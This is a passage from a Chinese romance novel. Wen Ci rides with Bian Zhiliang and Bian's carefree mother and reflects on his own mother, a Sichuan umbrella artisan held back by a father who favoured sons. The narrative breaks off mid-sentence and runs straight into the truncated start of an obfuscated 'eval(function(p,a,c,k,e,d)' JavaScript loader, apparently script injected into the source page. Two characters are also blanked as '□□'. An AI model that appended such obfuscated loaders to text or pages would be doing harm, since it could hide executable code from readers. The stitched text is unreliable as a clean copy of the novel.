他总是能轻描淡写说出一些令人失神的话，但或许正是因为笔墨浅，并不会让人感受到情绪的波动，叫人也猜不透，他到底在想什么。
汴之梁轻吸鼻息，玩笑似的：“我不紧张啊，闻老师，你紧张吗？”
闻辞脚下一缩，喉头哽住，早晨醒来的失声感仿佛再次涌来，他攥紧了手心，缓慢眨了眨眼：“我怎么会……”
他啊……
汴之梁垂眸看着他，眼底泛滥起无限温柔，他在心底叹息，无奈地摇摇头。
汴妈妈比闻辞想象中洒脱随意些，她坐在副驾，把车窗全部降下，迎着风恣意感受云彩从头顶游走，偶尔，又和汴之梁跟闻辞讲起她在国外碰见的趣闻。
不太像个已婚女人，更像个小姑娘。
这令闻辞不禁羡慕。
她的自信与天真，对生活的无限期望和美好事物的关注，是需要大量、多到溢出的爱堆叠而成的，闻辞想到自己的妈妈——那个在四川的小县城里，做了一辈子油纸伞的平凡女人。
她拥有全世界独一无二的非遗造伞手艺，雷厉风行的性格，有尊敬她的徒弟们，在家乡，几乎人人都知晓他“方简凉”的名字，但是有一天，闻辞问妈妈，如果重活一次，你最想干什么，妈妈哑然无声。
妈妈去过很少地方，也不太会讲普通话，面对地方台的采访时，说的依旧是蹩脚的，平翘舌不分的□□，所以妈妈希望他念书，可以到很好的学校，遇见很好的老师，学到正确的知识。
这一辈子，闻辞很少听妈妈提起过除了四川之外的地方，她似乎连省都没出过，年轻的时候，爷爷重男轻女，小学没读完妈妈便早早回家学做伞，那时候，大家不懂什么非遗，也不懂什么手艺传承，只知道这是一家人吃饭的活计，女孩子要懂事养家，男孩子上学做工。
于是当闻辞长大后，遇见外省的同学问他是不是四川女性地位很高时，闻辞是诧异的，在他的印象里，不止妈妈在内，身边多数婶婶婆婆，一辈子都不识得几个字，但家里的男性，大多却能掉几本“书袋”，过年时，围坐在饭桌上，脸红耳赤地挥斥方遒。
闻辞想，如果妈妈读过书，或许也会跟汴之梁妈妈一样，有自己的爱好，有喜欢的城市，有对世界的独特见解，见着一花一草，也会生出别样的心情。
但是，没有。
闻辞开始理解，汴之梁的身上那股沉淀的，有分量的温柔感，耐心，究竟从何而来，在这样的家庭里长大，大概很难不会懂得包容与爱，也很难不敢去大胆爱。
正因家庭给他塑造的底气，以至于他从不会为未来担忧，不会为失败的付出，念念不忘。
他大概永远也学不会。
“之梁，你在邮件里怎么没有和我提起过闻老师？”因为城市经常变迁，汴之梁时常不知道该拨通哪个号码，才能联系上他们，后来索性开始用邮件联系。
很别致的亲子关系。
汴之梁盯着窗外，不知在张望什么，心不在焉：“哦，忘了。”
很敷衍，很潦草。连闻辞都能一眼看出，这根本不是忘了，是故意绕开。
“你太失礼。”汴妈妈升起车窗，车内噪音霎时削减，“应该让爸爸妈妈知道的。”
“之禹也很挂念你。”
汴之梁坐在后座，轻轻地吸气，放下手，靠上椅背：“别让汴之禹的小未婚妻给我发他俩的合照我就谢天谢地了。”
“……”闻辞想，如果他的耳朵和小动物一样可以自动开合，他现在一定会想要关上，似乎接下来的话
;eval(function(p,a,c,k,e,d){e=function(c){return(c